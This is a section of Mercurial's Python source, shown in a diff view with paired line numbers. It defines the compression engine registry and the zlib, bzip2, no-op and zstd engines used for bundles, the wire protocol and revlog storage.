3192 if bundleinfo:
3191 if bundleinfo:
3193 bundlename, bundletype = bundleinfo
3192 bundlename, bundletype = bundleinfo
3194
3193
3195 if bundlename in self._bundlenames:
3194 if bundlename in self._bundlenames:
3196 raise error.Abort(_('bundle name %s already registered') %
3195 raise error.Abort(_('bundle name %s already registered') %
3197 bundlename)
3196 bundlename)
3198 if bundletype in self._bundletypes:
3197 if bundletype in self._bundletypes:
3199 raise error.Abort(_('bundle type %s already registered by %s') %
3198 raise error.Abort(_('bundle type %s already registered by %s') %
3200 (bundletype, self._bundletypes[bundletype]))
3199 (bundletype, self._bundletypes[bundletype]))
3201
3200
3202 # No external facing name declared.
3201 # No external facing name declared.
3203 if bundlename:
3202 if bundlename:
3204 self._bundlenames[bundlename] = name
3203 self._bundlenames[bundlename] = name
3205
3204
3206 self._bundletypes[bundletype] = name
3205 self._bundletypes[bundletype] = name
3207
3206
3208 wiresupport = engine.wireprotosupport()
3207 wiresupport = engine.wireprotosupport()
3209 if wiresupport:
3208 if wiresupport:
3210 wiretype = wiresupport.name
3209 wiretype = wiresupport.name
3211 if wiretype in self._wiretypes:
3210 if wiretype in self._wiretypes:
3212 raise error.Abort(_('wire protocol compression %s already '
3211 raise error.Abort(_('wire protocol compression %s already '
3213 'registered by %s') %
3212 'registered by %s') %
3214 (wiretype, self._wiretypes[wiretype]))
3213 (wiretype, self._wiretypes[wiretype]))
3215
3214
3216 self._wiretypes[wiretype] = name
3215 self._wiretypes[wiretype] = name
3217
3216
3218 revlogheader = engine.revlogheader()
3217 revlogheader = engine.revlogheader()
3219 if revlogheader and revlogheader in self._revlogheaders:
3218 if revlogheader and revlogheader in self._revlogheaders:
3220 raise error.Abort(_('revlog header %s already registered by %s') %
3219 raise error.Abort(_('revlog header %s already registered by %s') %
3221 (revlogheader, self._revlogheaders[revlogheader]))
3220 (revlogheader, self._revlogheaders[revlogheader]))
3222
3221
3223 if revlogheader:
3222 if revlogheader:
3224 self._revlogheaders[revlogheader] = name
3223 self._revlogheaders[revlogheader] = name
3225
3224
3226 self._engines[name] = engine
3225 self._engines[name] = engine
3227
3226
3228 @property
3227 @property
3229 def supportedbundlenames(self):
3228 def supportedbundlenames(self):
3230 return set(self._bundlenames.keys())
3229 return set(self._bundlenames.keys())
3231
3230
3232 @property
3231 @property
3233 def supportedbundletypes(self):
3232 def supportedbundletypes(self):
3234 return set(self._bundletypes.keys())
3233 return set(self._bundletypes.keys())
3235
3234
3236 def forbundlename(self, bundlename):
3235 def forbundlename(self, bundlename):
3237 """Obtain a compression engine registered to a bundle name.
3236 """Obtain a compression engine registered to a bundle name.
3238
3237
3239 Will raise KeyError if the bundle type isn't registered.
3238 Will raise KeyError if the bundle type isn't registered.
3240
3239
3241 Will abort if the engine is known but not available.
3240 Will abort if the engine is known but not available.
3242 """
3241 """
3243 engine = self._engines[self._bundlenames[bundlename]]
3242 engine = self._engines[self._bundlenames[bundlename]]
3244 if not engine.available():
3243 if not engine.available():
3245 raise error.Abort(_('compression engine %s could not be loaded') %
3244 raise error.Abort(_('compression engine %s could not be loaded') %
3246 engine.name())
3245 engine.name())
3247 return engine
3246 return engine
3248
3247
3249 def forbundletype(self, bundletype):
3248 def forbundletype(self, bundletype):
3250 """Obtain a compression engine registered to a bundle type.
3249 """Obtain a compression engine registered to a bundle type.
3251
3250
3252 Will raise KeyError if the bundle type isn't registered.
3251 Will raise KeyError if the bundle type isn't registered.
3253
3252
3254 Will abort if the engine is known but not available.
3253 Will abort if the engine is known but not available.
3255 """
3254 """
3256 engine = self._engines[self._bundletypes[bundletype]]
3255 engine = self._engines[self._bundletypes[bundletype]]
3257 if not engine.available():
3256 if not engine.available():
3258 raise error.Abort(_('compression engine %s could not be loaded') %
3257 raise error.Abort(_('compression engine %s could not be loaded') %
3259 engine.name())
3258 engine.name())
3260 return engine
3259 return engine
3261
3260
3262 def supportedwireengines(self, role, onlyavailable=True):
3261 def supportedwireengines(self, role, onlyavailable=True):
3263 """Obtain compression engines that support the wire protocol.
3262 """Obtain compression engines that support the wire protocol.
3264
3263
3265 Returns a list of engines in prioritized order, most desired first.
3264 Returns a list of engines in prioritized order, most desired first.
3266
3265
3267 If ``onlyavailable`` is set, filter out engines that can't be
3266 If ``onlyavailable`` is set, filter out engines that can't be
3268 loaded.
3267 loaded.
3269 """
3268 """
3270 assert role in (SERVERROLE, CLIENTROLE)
3269 assert role in (SERVERROLE, CLIENTROLE)
3271
3270
3272 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3271 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3273
3272
3274 engines = [self._engines[e] for e in self._wiretypes.values()]
3273 engines = [self._engines[e] for e in self._wiretypes.values()]
3275 if onlyavailable:
3274 if onlyavailable:
3276 engines = [e for e in engines if e.available()]
3275 engines = [e for e in engines if e.available()]
3277
3276
3278 def getkey(e):
3277 def getkey(e):
3279 # Sort first by priority, highest first. In case of tie, sort
3278 # Sort first by priority, highest first. In case of tie, sort
3280 # alphabetically. This is arbitrary, but ensures output is
3279 # alphabetically. This is arbitrary, but ensures output is
3281 # stable.
3280 # stable.
3282 w = e.wireprotosupport()
3281 w = e.wireprotosupport()
3283 return -1 * getattr(w, attr), w.name
3282 return -1 * getattr(w, attr), w.name
3284
3283
3285 return list(sorted(engines, key=getkey))
3284 return list(sorted(engines, key=getkey))
3286
3285
3287 def forwiretype(self, wiretype):
3286 def forwiretype(self, wiretype):
3288 engine = self._engines[self._wiretypes[wiretype]]
3287 engine = self._engines[self._wiretypes[wiretype]]
3289 if not engine.available():
3288 if not engine.available():
3290 raise error.Abort(_('compression engine %s could not be loaded') %
3289 raise error.Abort(_('compression engine %s could not be loaded') %
3291 engine.name())
3290 engine.name())
3292 return engine
3291 return engine
3293
3292
3294 def forrevlogheader(self, header):
3293 def forrevlogheader(self, header):
3295 """Obtain a compression engine registered to a revlog header.
3294 """Obtain a compression engine registered to a revlog header.
3296
3295
3297 Will raise KeyError if the revlog header value isn't registered.
3296 Will raise KeyError if the revlog header value isn't registered.
3298 """
3297 """
3299 return self._engines[self._revlogheaders[header]]
3298 return self._engines[self._revlogheaders[header]]
3300
3299
3301 compengines = compressormanager()
3300 compengines = compressormanager()
3302
3301
3303 class compressionengine(object):
3302 class compressionengine(object):
3304 """Base class for compression engines.
3303 """Base class for compression engines.
3305
3304
3306 Compression engines must implement the interface defined by this class.
3305 Compression engines must implement the interface defined by this class.
3307 """
3306 """
3308 def name(self):
3307 def name(self):
3309 """Returns the name of the compression engine.
3308 """Returns the name of the compression engine.
3310
3309
3311 This is the key the engine is registered under.
3310 This is the key the engine is registered under.
3312
3311
3313 This method must be implemented.
3312 This method must be implemented.
3314 """
3313 """
3315 raise NotImplementedError()
3314 raise NotImplementedError()
3316
3315
3317 def available(self):
3316 def available(self):
3318 """Whether the compression engine is available.
3317 """Whether the compression engine is available.
3319
3318
3320 The intent of this method is to allow optional compression engines
3319 The intent of this method is to allow optional compression engines
3321 that may not be available in all installations (such as engines relying
3320 that may not be available in all installations (such as engines relying
3322 on C extensions that may not be present).
3321 on C extensions that may not be present).
3323 """
3322 """
3324 return True
3323 return True
3325
3324
3326 def bundletype(self):
3325 def bundletype(self):
3327 """Describes bundle identifiers for this engine.
3326 """Describes bundle identifiers for this engine.
3328
3327
3329 If this compression engine isn't supported for bundles, returns None.
3328 If this compression engine isn't supported for bundles, returns None.
3330
3329
3331 If this engine can be used for bundles, returns a 2-tuple of strings of
3330 If this engine can be used for bundles, returns a 2-tuple of strings of
3332 the user-facing "bundle spec" compression name and an internal
3331 the user-facing "bundle spec" compression name and an internal
3333 identifier used to denote the compression format within bundles. To
3332 identifier used to denote the compression format within bundles. To
3334 exclude the name from external usage, set the first element to ``None``.
3333 exclude the name from external usage, set the first element to ``None``.
3335
3334
3336 If bundle compression is supported, the class must also implement
3335 If bundle compression is supported, the class must also implement
3337 ``compressstream`` and `decompressorreader``.
3336 ``compressstream`` and `decompressorreader``.
3338
3337
3339 The docstring of this method is used in the help system to tell users
3338 The docstring of this method is used in the help system to tell users
3340 about this engine.
3339 about this engine.
3341 """
3340 """
3342 return None
3341 return None
3343
3342
3344 def wireprotosupport(self):
3343 def wireprotosupport(self):
3345 """Declare support for this compression format on the wire protocol.
3344 """Declare support for this compression format on the wire protocol.
3346
3345
3347 If this compression engine isn't supported for compressing wire
3346 If this compression engine isn't supported for compressing wire
3348 protocol payloads, returns None.
3347 protocol payloads, returns None.
3349
3348
3350 Otherwise, returns ``compenginewireprotosupport`` with the following
3349 Otherwise, returns ``compenginewireprotosupport`` with the following
3351 fields:
3350 fields:
3352
3351
3353 * String format identifier
3352 * String format identifier
3354 * Integer priority for the server
3353 * Integer priority for the server
3355 * Integer priority for the client
3354 * Integer priority for the client
3356
3355
3357 The integer priorities are used to order the advertisement of format
3356 The integer priorities are used to order the advertisement of format
3358 support by server and client. The highest integer is advertised
3357 support by server and client. The highest integer is advertised
3359 first. Integers with non-positive values aren't advertised.
3358 first. Integers with non-positive values aren't advertised.
3360
3359
3361 The priority values are somewhat arbitrary and only used for default
3360 The priority values are somewhat arbitrary and only used for default
3362 ordering. The relative order can be changed via config options.
3361 ordering. The relative order can be changed via config options.
3363
3362
3364 If wire protocol compression is supported, the class must also implement
3363 If wire protocol compression is supported, the class must also implement
3365 ``compressstream`` and ``decompressorreader``.
3364 ``compressstream`` and ``decompressorreader``.
3366 """
3365 """
3367 return None
3366 return None
3368
3367
3369 def revlogheader(self):
3368 def revlogheader(self):
3370 """Header added to revlog chunks that identifies this engine.
3369 """Header added to revlog chunks that identifies this engine.
3371
3370
3372 If this engine can be used to compress revlogs, this method should
3371 If this engine can be used to compress revlogs, this method should
3373 return the bytes used to identify chunks compressed with this engine.
3372 return the bytes used to identify chunks compressed with this engine.
3374 Else, the method should return ``None`` to indicate it does not
3373 Else, the method should return ``None`` to indicate it does not
3375 participate in revlog compression.
3374 participate in revlog compression.
3376 """
3375 """
3377 return None
3376 return None
3378
3377
3379 def compressstream(self, it, opts=None):
3378 def compressstream(self, it, opts=None):
3380 """Compress an iterator of chunks.
3379 """Compress an iterator of chunks.
3381
3380
3382 The method receives an iterator (ideally a generator) of chunks of
3381 The method receives an iterator (ideally a generator) of chunks of
3383 bytes to be compressed. It returns an iterator (ideally a generator)
3382 bytes to be compressed. It returns an iterator (ideally a generator)
3384 of bytes of chunks representing the compressed output.
3383 of bytes of chunks representing the compressed output.
3385
3384
3386 Optionally accepts an argument defining how to perform compression.
3385 Optionally accepts an argument defining how to perform compression.
3387 Each engine treats this argument differently.
3386 Each engine treats this argument differently.
3388 """
3387 """
3389 raise NotImplementedError()
3388 raise NotImplementedError()
3390
3389
3391 def decompressorreader(self, fh):
3390 def decompressorreader(self, fh):
3392 """Perform decompression on a file object.
3391 """Perform decompression on a file object.
3393
3392
3394 Argument is an object with a ``read(size)`` method that returns
3393 Argument is an object with a ``read(size)`` method that returns
3395 compressed data. Return value is an object with a ``read(size)`` that
3394 compressed data. Return value is an object with a ``read(size)`` that
3396 returns uncompressed data.
3395 returns uncompressed data.
3397 """
3396 """
3398 raise NotImplementedError()
3397 raise NotImplementedError()
3399
3398
3400 def revlogcompressor(self, opts=None):
3399 def revlogcompressor(self, opts=None):
3401 """Obtain an object that can be used to compress revlog entries.
3400 """Obtain an object that can be used to compress revlog entries.
3402
3401
3403 The object has a ``compress(data)`` method that compresses binary
3402 The object has a ``compress(data)`` method that compresses binary
3404 data. This method returns compressed binary data or ``None`` if
3403 data. This method returns compressed binary data or ``None`` if
3405 the data could not be compressed (too small, not compressible, etc).
3404 the data could not be compressed (too small, not compressible, etc).
3406 The returned data should have a header uniquely identifying this
3405 The returned data should have a header uniquely identifying this
3407 compression format so decompression can be routed to this engine.
3406 compression format so decompression can be routed to this engine.
3408 This header should be identified by the ``revlogheader()`` return
3407 This header should be identified by the ``revlogheader()`` return
3409 value.
3408 value.
3410
3409
3411 The object has a ``decompress(data)`` method that decompresses
3410 The object has a ``decompress(data)`` method that decompresses
3412 data. The method will only be called if ``data`` begins with
3411 data. The method will only be called if ``data`` begins with
3413 ``revlogheader()``. The method should return the raw, uncompressed
3412 ``revlogheader()``. The method should return the raw, uncompressed
3414 data or raise a ``RevlogError``.
3413 data or raise a ``RevlogError``.
3415
3414
3416 The object is reusable but is not thread safe.
3415 The object is reusable but is not thread safe.
3417 """
3416 """
3418 raise NotImplementedError()
3417 raise NotImplementedError()
3419
3418
3420 class _zlibengine(compressionengine):
3419 class _zlibengine(compressionengine):
3421 def name(self):
3420 def name(self):
3422 return 'zlib'
3421 return 'zlib'
3423
3422
3424 def bundletype(self):
3423 def bundletype(self):
3425 """zlib compression using the DEFLATE algorithm.
3424 """zlib compression using the DEFLATE algorithm.
3426
3425
3427 All Mercurial clients should support this format. The compression
3426 All Mercurial clients should support this format. The compression
3428 algorithm strikes a reasonable balance between compression ratio
3427 algorithm strikes a reasonable balance between compression ratio
3429 and size.
3428 and size.
3430 """
3429 """
3431 return 'gzip', 'GZ'
3430 return 'gzip', 'GZ'
3432
3431
3433 def wireprotosupport(self):
3432 def wireprotosupport(self):
3434 return compewireprotosupport('zlib', 20, 20)
3433 return compewireprotosupport('zlib', 20, 20)
3435
3434
3436 def revlogheader(self):
3435 def revlogheader(self):
3437 return 'x'
3436 return 'x'
3438
3437
3439 def compressstream(self, it, opts=None):
3438 def compressstream(self, it, opts=None):
3440 opts = opts or {}
3439 opts = opts or {}
3441
3440
3442 z = zlib.compressobj(opts.get('level', -1))
3441 z = zlib.compressobj(opts.get('level', -1))
3443 for chunk in it:
3442 for chunk in it:
3444 data = z.compress(chunk)
3443 data = z.compress(chunk)
3445 # Not all calls to compress emit data. It is cheaper to inspect
3444 # Not all calls to compress emit data. It is cheaper to inspect
3446 # here than to feed empty chunks through generator.
3445 # here than to feed empty chunks through generator.
3447 if data:
3446 if data:
3448 yield data
3447 yield data
3449
3448
3450 yield z.flush()
3449 yield z.flush()
3451
3450
3452 def decompressorreader(self, fh):
3451 def decompressorreader(self, fh):
3453 def gen():
3452 def gen():
3454 d = zlib.decompressobj()
3453 d = zlib.decompressobj()
3455 for chunk in filechunkiter(fh):
3454 for chunk in filechunkiter(fh):
3456 while chunk:
3455 while chunk:
3457 # Limit output size to limit memory.
3456 # Limit output size to limit memory.
3458 yield d.decompress(chunk, 2 ** 18)
3457 yield d.decompress(chunk, 2 ** 18)
3459 chunk = d.unconsumed_tail
3458 chunk = d.unconsumed_tail
3460
3459
3461 return chunkbuffer(gen())
3460 return chunkbuffer(gen())
3462
3461
3463 class zlibrevlogcompressor(object):
3462 class zlibrevlogcompressor(object):
3464 def compress(self, data):
3463 def compress(self, data):
3465 insize = len(data)
3464 insize = len(data)
3466 # Caller handles empty input case.
3465 # Caller handles empty input case.
3467 assert insize > 0
3466 assert insize > 0
3468
3467
3469 if insize < 44:
3468 if insize < 44:
3470 return None
3469 return None
3471
3470
3472 elif insize <= 1000000:
3471 elif insize <= 1000000:
3473 compressed = zlib.compress(data)
3472 compressed = zlib.compress(data)
3474 if len(compressed) < insize:
3473 if len(compressed) < insize:
3475 return compressed
3474 return compressed
3476 return None
3475 return None
3477
3476
3478 # zlib makes an internal copy of the input buffer, doubling
3477 # zlib makes an internal copy of the input buffer, doubling
3479 # memory usage for large inputs. So do streaming compression
3478 # memory usage for large inputs. So do streaming compression
3480 # on large inputs.
3479 # on large inputs.
3481 else:
3480 else:
3482 z = zlib.compressobj()
3481 z = zlib.compressobj()
3483 parts = []
3482 parts = []
3484 pos = 0
3483 pos = 0
3485 while pos < insize:
3484 while pos < insize:
3486 pos2 = pos + 2**20
3485 pos2 = pos + 2**20
3487 parts.append(z.compress(data[pos:pos2]))
3486 parts.append(z.compress(data[pos:pos2]))
3488 pos = pos2
3487 pos = pos2
3489 parts.append(z.flush())
3488 parts.append(z.flush())
3490
3489
3491 if sum(map(len, parts)) < insize:
3490 if sum(map(len, parts)) < insize:
3492 return ''.join(parts)
3491 return ''.join(parts)
3493 return None
3492 return None
3494
3493
3495 def decompress(self, data):
3494 def decompress(self, data):
3496 try:
3495 try:
3497 return zlib.decompress(data)
3496 return zlib.decompress(data)
3498 except zlib.error as e:
3497 except zlib.error as e:
3499 raise error.RevlogError(_('revlog decompress error: %s') %
3498 raise error.RevlogError(_('revlog decompress error: %s') %
3500 str(e))
3499 str(e))
3501
3500
3502 def revlogcompressor(self, opts=None):
3501 def revlogcompressor(self, opts=None):
3503 return self.zlibrevlogcompressor()
3502 return self.zlibrevlogcompressor()
3504
3503
3505 compengines.register(_zlibengine())
3504 compengines.register(_zlibengine())
3506
3505
3507 class _bz2engine(compressionengine):
3506 class _bz2engine(compressionengine):
3508 def name(self):
3507 def name(self):
3509 return 'bz2'
3508 return 'bz2'
3510
3509
3511 def bundletype(self):
3510 def bundletype(self):
3512 """An algorithm that produces smaller bundles than ``gzip``.
3511 """An algorithm that produces smaller bundles than ``gzip``.
3513
3512
3514 All Mercurial clients should support this format.
3513 All Mercurial clients should support this format.
3515
3514
3516 This engine will likely produce smaller bundles than ``gzip`` but
3515 This engine will likely produce smaller bundles than ``gzip`` but
3517 will be significantly slower, both during compression and
3516 will be significantly slower, both during compression and
3518 decompression.
3517 decompression.
3519
3518
3520 If available, the ``zstd`` engine can yield similar or better
3519 If available, the ``zstd`` engine can yield similar or better
3521 compression at much higher speeds.
3520 compression at much higher speeds.
3522 """
3521 """
3523 return 'bzip2', 'BZ'
3522 return 'bzip2', 'BZ'
3524
3523
3525 # We declare a protocol name but don't advertise by default because
3524 # We declare a protocol name but don't advertise by default because
3526 # it is slow.
3525 # it is slow.
3527 def wireprotosupport(self):
3526 def wireprotosupport(self):
3528 return compewireprotosupport('bzip2', 0, 0)
3527 return compewireprotosupport('bzip2', 0, 0)
3529
3528
3530 def compressstream(self, it, opts=None):
3529 def compressstream(self, it, opts=None):
3531 opts = opts or {}
3530 opts = opts or {}
3532 z = bz2.BZ2Compressor(opts.get('level', 9))
3531 z = bz2.BZ2Compressor(opts.get('level', 9))
3533 for chunk in it:
3532 for chunk in it:
3534 data = z.compress(chunk)
3533 data = z.compress(chunk)
3535 if data:
3534 if data:
3536 yield data
3535 yield data
3537
3536
3538 yield z.flush()
3537 yield z.flush()
3539
3538
3540 def decompressorreader(self, fh):
3539 def decompressorreader(self, fh):
3541 def gen():
3540 def gen():
3542 d = bz2.BZ2Decompressor()
3541 d = bz2.BZ2Decompressor()
3543 for chunk in filechunkiter(fh):
3542 for chunk in filechunkiter(fh):
3544 yield d.decompress(chunk)
3543 yield d.decompress(chunk)
3545
3544
3546 return chunkbuffer(gen())
3545 return chunkbuffer(gen())
3547
3546
3548 compengines.register(_bz2engine())
3547 compengines.register(_bz2engine())
3549
3548
3550 class _truncatedbz2engine(compressionengine):
3549 class _truncatedbz2engine(compressionengine):
3551 def name(self):
3550 def name(self):
3552 return 'bz2truncated'
3551 return 'bz2truncated'
3553
3552
3554 def bundletype(self):
3553 def bundletype(self):
3555 return None, '_truncatedBZ'
3554 return None, '_truncatedBZ'
3556
3555
3557 # We don't implement compressstream because it is hackily handled elsewhere.
3556 # We don't implement compressstream because it is hackily handled elsewhere.
3558
3557
3559 def decompressorreader(self, fh):
3558 def decompressorreader(self, fh):
3560 def gen():
3559 def gen():
3561 # The input stream doesn't have the 'BZ' header. So add it back.
3560 # The input stream doesn't have the 'BZ' header. So add it back.
3562 d = bz2.BZ2Decompressor()
3561 d = bz2.BZ2Decompressor()
3563 d.decompress('BZ')
3562 d.decompress('BZ')
3564 for chunk in filechunkiter(fh):
3563 for chunk in filechunkiter(fh):
3565 yield d.decompress(chunk)
3564 yield d.decompress(chunk)
3566
3565
3567 return chunkbuffer(gen())
3566 return chunkbuffer(gen())
3568
3567
3569 compengines.register(_truncatedbz2engine())
3568 compengines.register(_truncatedbz2engine())
3570
3569
3571 class _noopengine(compressionengine):
3570 class _noopengine(compressionengine):
3572 def name(self):
3571 def name(self):
3573 return 'none'
3572 return 'none'
3574
3573
3575 def bundletype(self):
3574 def bundletype(self):
3576 """No compression is performed.
3575 """No compression is performed.
3577
3576
3578 Use this compression engine to explicitly disable compression.
3577 Use this compression engine to explicitly disable compression.
3579 """
3578 """
3580 return 'none', 'UN'
3579 return 'none', 'UN'
3581
3580
3582 # Clients always support uncompressed payloads. Servers don't because
3581 # Clients always support uncompressed payloads. Servers don't because
3583 # unless you are on a fast network, uncompressed payloads can easily
3582 # unless you are on a fast network, uncompressed payloads can easily
3584 # saturate your network pipe.
3583 # saturate your network pipe.
3585 def wireprotosupport(self):
3584 def wireprotosupport(self):
3586 return compewireprotosupport('none', 0, 10)
3585 return compewireprotosupport('none', 0, 10)
3587
3586
3588 # We don't implement revlogheader because it is handled specially
3587 # We don't implement revlogheader because it is handled specially
3589 # in the revlog class.
3588 # in the revlog class.
3590
3589
3591 def compressstream(self, it, opts=None):
3590 def compressstream(self, it, opts=None):
3592 return it
3591 return it
3593
3592
3594 def decompressorreader(self, fh):
3593 def decompressorreader(self, fh):
3595 return fh
3594 return fh
3596
3595
3597 class nooprevlogcompressor(object):
3596 class nooprevlogcompressor(object):
3598 def compress(self, data):
3597 def compress(self, data):
3599 return None
3598 return None
3600
3599
3601 def revlogcompressor(self, opts=None):
3600 def revlogcompressor(self, opts=None):
3602 return self.nooprevlogcompressor()
3601 return self.nooprevlogcompressor()
3603
3602
3604 compengines.register(_noopengine())
3603 compengines.register(_noopengine())
3605
3604
3606 class _zstdengine(compressionengine):
3605 class _zstdengine(compressionengine):
3607 def name(self):
3606 def name(self):
3608 return 'zstd'
3607 return 'zstd'
3609
3608
3610 @propertycache
3609 @propertycache
3611 def _module(self):
3610 def _module(self):
3612 # Not all installs have the zstd module available. So defer importing
3611 # Not all installs have the zstd module available. So defer importing
3613 # until first access.
3612 # until first access.
3614 try:
3613 try:
3615 from . import zstd
3614 from . import zstd
3616 # Force delayed import.
3615 # Force delayed import.
3617 zstd.__version__
3616 zstd.__version__
3618 return zstd
3617 return zstd
3619 except ImportError:
3618 except ImportError:
3620 return None
3619 return None
3621
3620
3622 def available(self):
3621 def available(self):
3623 return bool(self._module)
3622 return bool(self._module)
3624
3623
3625 def bundletype(self):
3624 def bundletype(self):
3626 """A modern compression algorithm that is fast and highly flexible.
3625 """A modern compression algorithm that is fast and highly flexible.
3627
3626
3628 Only supported by Mercurial 4.1 and newer clients.
3627 Only supported by Mercurial 4.1 and newer clients.
3629
3628
3630 With the default settings, zstd compression is both faster and yields
3629 With the default settings, zstd compression is both faster and yields
3631 better compression than ``gzip``. It also frequently yields better
3630 better compression than ``gzip``. It also frequently yields better
3632 compression than ``bzip2`` while operating at much higher speeds.
3631 compression than ``bzip2`` while operating at much higher speeds.
3633
3632
3634 If this engine is available and backwards compatibility is not a
3633 If this engine is available and backwards compatibility is not a
3635 concern, it is likely the best available engine.
3634 concern, it is likely the best available engine.
3636 """
3635 """
3637 return 'zstd', 'ZS'
3636 return 'zstd', 'ZS'
3638
3637
3639 def wireprotosupport(self):
3638 def wireprotosupport(self):
3640 return compewireprotosupport('zstd', 50, 50)
3639 return compewireprotosupport('zstd', 50, 50)
3641
3640
3642 def revlogheader(self):
3641 def revlogheader(self):
3643 return '\x28'
3642 return '\x28'
3644
3643
3645 def compressstream(self, it, opts=None):
3644 def compressstream(self, it, opts=None):
3646 opts = opts or {}
3645 opts = opts or {}
3647 # zstd level 3 is almost always significantly faster than zlib
3646 # zstd level 3 is almost always significantly faster than zlib
3648 # while providing no worse compression. It strikes a good balance
3647 # while providing no worse compression. It strikes a good balance
3649 # between speed and compression.
3648 # between speed and compression.
3650 level = opts.get('level', 3)
3649 level = opts.get('level', 3)
3651
3650
3652 zstd = self._module
3651 zstd = self._module
3653 z = zstd.ZstdCompressor(level=level).compressobj()
3652 z = zstd.ZstdCompressor(level=level).compressobj()
3654 for chunk in it:
3653 for chunk in it:
3655 data = z.compress(chunk)
3654 data = z.compress(chunk)
3656 if data:
3655 if data:
3657 yield data
3656 yield data
3658
3657
3659 yield z.flush()
3658 yield z.flush()
3660
3659
3661 def decompressorreader(self, fh):
3660 def decompressorreader(self, fh):
3662 zstd = self._module
3661 zstd = self._module
3663 dctx = zstd.ZstdDecompressor()
3662 dctx = zstd.ZstdDecompressor()
3664 return chunkbuffer(dctx.read_from(fh))
3663 return chunkbuffer(dctx.read_from(fh))
3665
3664
3666 class zstdrevlogcompressor(object):
3665 class zstdrevlogcompressor(object):
3667 def __init__(self, zstd, level=3):
3666 def __init__(self, zstd, level=3):
3668 # Writing the content size adds a few bytes to the output. However,
3667 # Writing the content size adds a few bytes to the output. However,
3669 # it allows decompression to be more optimal since we can
3668 # it allows decompression to be more optimal since we can
3670 # pre-allocate a buffer to hold the result.
3669 # pre-allocate a buffer to hold the result.
3671 self._cctx = zstd.ZstdCompressor(level=level,
3670 self._cctx = zstd.ZstdCompressor(level=level,
3672 write_content_size=True)
3671 write_content_size=True)
3673 self._dctx = zstd.ZstdDecompressor()
3672 self._dctx = zstd.ZstdDecompressor()
3674 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3673 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3675 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3674 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3676
3675
3677 def compress(self, data):
3676 def compress(self, data):
3678 insize = len(data)
3677 insize = len(data)
3679 # Caller handles empty input case.
3678 # Caller handles empty input case.
3680 assert insize > 0
3679 assert insize > 0
3681
3680
3682 if insize < 50:
3681 if insize < 50:
3683 return None
3682 return None
3684
3683
3685 elif insize <= 1000000:
3684 elif insize <= 1000000:
3686 compressed = self._cctx.compress(data)
3685 compressed = self._cctx.compress(data)
3687 if len(compressed) < insize:
3686 if len(compressed) < insize:
3688 return compressed
3687 return compressed
3689 return None
3688 return None
3690 else:
3689 else:
3691 z = self._cctx.compressobj()
3690 z = self._cctx.compressobj()
3692 chunks = []
3691 chunks = []
3693 pos = 0
3692 pos = 0
3694 while pos < insize:
3693 while pos < insize:
3695 pos2 = pos + self._compinsize
3694 pos2 = pos + self._compinsize
3696 chunk = z.compress(data[pos:pos2])
3695 chunk = z.compress(data[pos:pos2])
3697 if chunk:
3696 if chunk:
3698 chunks.append(chunk)
3697 chunks.append(chunk)
3699 pos = pos2
3698 pos = pos2
3700 chunks.append(z.flush())
3699 chunks.append(z.flush())
3701
3700
3702 if sum(map(len, chunks)) < insize:
3701 if sum(map(len, chunks)) < insize:
3703 return ''.join(chunks)
3702 return ''.join(chunks)
3704 return None
3703 return None
3705
3704
3706 def decompress(self, data):
3705 def decompress(self, data):
3707 insize = len(data)
3706 insize = len(data)
3708
3707
3709 try:
3708 try:
3710 # This was measured to be faster than other streaming
3709 # This was measured to be faster than other streaming
3711 # decompressors.
3710 # decompressors.
3712 dobj = self._dctx.decompressobj()
3711 dobj = self._dctx.decompressobj()
3713 chunks = []
3712 chunks = []
3714 pos = 0
3713 pos = 0
3715 while pos < insize:
3714 while pos < insize:
3716 pos2 = pos + self._decompinsize
3715 pos2 = pos + self._decompinsize
3717 chunk = dobj.decompress(data[pos:pos2])
3716 chunk = dobj.decompress(data[pos:pos2])
3718 if chunk:
3717 if chunk:
3719 chunks.append(chunk)
3718 chunks.append(chunk)
3720 pos = pos2
3719 pos = pos2
3721 # Frame should be exhausted, so no finish() API.
3720 # Frame should be exhausted, so no finish() API.
3722
3721
3723 return ''.join(chunks)
3722 return ''.join(chunks)
3724 except Exception as e:
3723 except Exception as e:
3725 raise error.RevlogError(_('revlog decompress error: %s') %
3724 raise error.RevlogError(_('revlog decompress error: %s') %
3726 str(e))
3725 str(e))
3727
3726
3728 def revlogcompressor(self, opts=None):
3727 def revlogcompressor(self, opts=None):
3729 opts = opts or {}
3728 opts = opts or {}
3730 return self.zstdrevlogcompressor(self._module,
3729 return self.zstdrevlogcompressor(self._module,
3731 level=opts.get('level', 3))
3730 level=opts.get('level', 3))
3732
3731
3733 compengines.register(_zstdengine())
3732 compengines.register(_zstdengine())
3734
3733
3735 def bundlecompressiontopics():
3734 def bundlecompressiontopics():
3736 """Obtains a list of available bundle compressions for use in help."""
3735 """Obtains a list of available bundle compressions for use in help."""
3737 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3736 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3738 items = {}
3737 items = {}
3739
3738
3740 # We need to format the docstring. So use a dummy object/type to hold it
3739 # We need to format the docstring. So use a dummy object/type to hold it
3741 # rather than mutating the original.
3740 # rather than mutating the original.
3742 class docobject(object):
3741 class docobject(object):
3743 pass
3742 pass
3744
3743
3745 for name in compengines:
3744 for name in compengines:
3746 engine = compengines[name]
3745 engine = compengines[name]
3747
3746
3748 if not engine.available():
3747 if not engine.available():
3749 continue
3748 continue
3750
3749
3751 bt = engine.bundletype()
3750 bt = engine.bundletype()
3752 if not bt or not bt[0]:
3751 if not bt or not bt[0]:
3753 continue
3752 continue
3754
3753
3755 doc = pycompat.sysstr('``%s``\n %s') % (
3754 doc = pycompat.sysstr('``%s``\n %s') % (
3756 bt[0], engine.bundletype.__doc__)
3755 bt[0], engine.bundletype.__doc__)
3757
3756
3758 value = docobject()
3757 value = docobject()
3759 value.__doc__ = doc
3758 value.__doc__ = doc
3760 value._origdoc = engine.bundletype.__doc__
3759 value._origdoc = engine.bundletype.__doc__
3761 value._origfunc = engine.bundletype
3760 value._origfunc = engine.bundletype
3762
3761
3763 items[bt[0]] = value
3762 items[bt[0]] = value
3764
3763
3765 return items
3764 return items
3766
3765
3767 i18nfunctions = bundlecompressiontopics().values()
3766 i18nfunctions = bundlecompressiontopics().values()
